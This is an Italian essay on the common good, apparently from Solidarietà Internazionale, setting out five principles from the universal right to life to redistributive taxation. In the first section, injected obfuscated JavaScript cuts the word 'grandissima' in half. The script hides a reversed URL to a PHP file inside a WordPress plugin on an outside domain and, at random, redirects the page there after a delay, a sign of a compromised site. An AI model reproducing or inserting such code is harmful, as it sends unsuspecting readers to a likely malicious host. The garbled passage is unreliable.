Il bene comune

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Il “bene comune” è l’insieme dei cittadini, delle istituzioni, dei mezzi, delle risorse, delle culture, delle modalità, che fanno sì che una moltitudine di individui costruiscano una comunità invece di essere un insieme di individui in concorrenza, in competizione fra di loro. II “bene comune” è il risultato della convivenza pacifica, solidale, di uomini, di mezzi, di valori che permettono l’esistenza di una società, di una comunità, cioè di avere un progetto del “vivere insieme”.
Cosa significa dunque oggi vivere, progettare il “bene comune”? In primo luogo significa riconoscere all’altro il diritto all’esistenza. L’altro, il diverso da me, ha parità di diritto alla vita, alla legittimazione. Dire ”Buongiorno” a qualcuno significa in primo luogo riconoscere il diritto alla vita dell’altro.

Il primo principio della scelta della società del bene comune è il diritto alla vita per tutti. Noi siamo però una società che accetta passivamente che questo diritto non sia riconosciuto a tutti. Di fatto ognuno di noi accetta che ancor oggi ci siano oltre 3 miliardi di persone che vivono con meno di 8 centesimi di euro, che un miliardo e 300.000 persone non abbiano ancora oggi accesso all’acqua potabile, che 1,4 miliardi di persone siano malnutriti. Se i livelli di disuguaglianza crescono, vuol dire che non si lavora per costruire il bene comune, e che viviamo in una società in cui non si vuole riconoscere, ad una gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andissima parte della società mondiale, il diritto alla vita. Bene comune significa che noi dobbiamo credere che non è una utopia impegnarsi perché nel 2020 questi livelli di disuguaglianze non esistano più.

Il secondo principio del bene comune è quello di riconoscere l’umanità come soggetto politico e giuridico. E’ necessario far si che l’umanità sia riconosciuta, per il fatto che essa esiste. Le Nazioni Unite non rappresentano oggi l’Umanità, perché sono ancora rappresentative degli interessi degli Stati. Il limite di queste istituzioni è che quando gli Stati Uniti, la Cina, la Russia e altri paesi non gradiscono i contenuti di una risoluzione, la bloccano, rendendo cosi impotenti le Nazioni Unite. Un positivo segnale è venuto in questi giorni dalla ratifica, da parte di 60 Stati, del trattato costitutivo della Corte Penale internazionale che a partire dal prossimo 11 luglio diventerà operativa per giudicare i crimini contro l’umanità. E’ un primo passo importante che lascia sperare l’avvio di un processo di riforma per cui l’Umanità possa essere riconosciuta come un soggetto di diritto. l’Umanità può costituire la sola entità in grado di superare le attuali diatribe legate al concetto finora imperante della sovranità nazionale, in un contesto dove invece il diritto alla vita ed al vivere insieme deve essere forzatamente organizzato dal ”locale al globale”. Il concetto della sovranità nazionale non deve essere esercitato per rifiutare la democrazia. Sfruttato dalle pretese dei poteri dominanti che, dietro l’apparente difesa dell’indipendenza, puntano solo a difendere i loro interessi, negando di fatto quelli di altri popoli.

Il terzo principio da sostenere è quello della difesa delle necessità radicali. II progetto del ”bene comune” significa che noi abbiamo in comune ”beni e servizi” la cui non esistenza significa radicalmente la fine della comunità stessa, perché in assenza di accesso a questi beni si entra in crisi. L’attuale esplosione della violenza e lo stato di crisi delle nostre società sono, molto spesso, la conseguenza del fatto che abbiamo eliminato la coscienza e l’impegno personale a difesa dei beni e dei servizi comuni.

Il quarto principio è l’esigenza di reinventare il ruolo del ”politico”. Non bisogna far parte della categoria di coloro che denigrano il ruolo del politico, perché se si accetta tassivamente questa tendenza si partecipa al successo del capitalismo globale. Si tratta quindi di reinventare ”un politico” fondato sull’autonomia, sull’indipendenza dei popoli dalla corruzione, sulla libertà di poter creare il bene comune, il vivere in insieme, di creare la solidarietà fra la gente, i popoli, i comuni, le città, le regioni. E’ un approccio diverso dal ruolo svolto dalla politica che punta a difendere la sopravvivenza competitiva, a garantire la crescita del capitale finanziario e quindi la ricchezza nazionale per entrare nella lista dei primi dieci paesi più competitivi del mondo. questo tipo di politica serve solo ad aumentare la violenza. Quindi reinventiamo il politico non solo a livello locale o nazionale, ma a livello mondiale, partendo però dalla dimensione locale, cioè da ogni città, territorio, municipio, regione del mondo. Ciò significa reinventare il concetto stesso di democrazia a livello mondiale in termini di democrazia diretta, rappresentativa, partecipativa.

II quinto principio da affermare è quello ”dell’imposta redistributiva”. E’ necessario ricordare che l’attuale progresso economico e scientifico è avvenuto grazie ad un sistema fiscale distributivo. Ogni qualvolta sono state inventate nuove imposte redistributive l’umanità ha fatto nuovi progressi, mentre quando sono state applicate imposte sull’allocazione efficace delle risorse disponibili, siamo andati sempre in regresso. Occorre quindi reinventare la cultura della imposta distributiva, cioè una politica fiscale che mira a produrre i beni comuni ed i beni necessari radicalmente al vivere insieme, per poi far sì che, anche attraverso la ricchezza prodotta, questa sia distribuita in maniera tale che essa serva a ridurre le disuguaglianze, il divario tra ricchi e poveri e quindi le conseguenze negative legate al modello di produzione globale della ricchezza.

(tratto da Solidarietà Internazionale)

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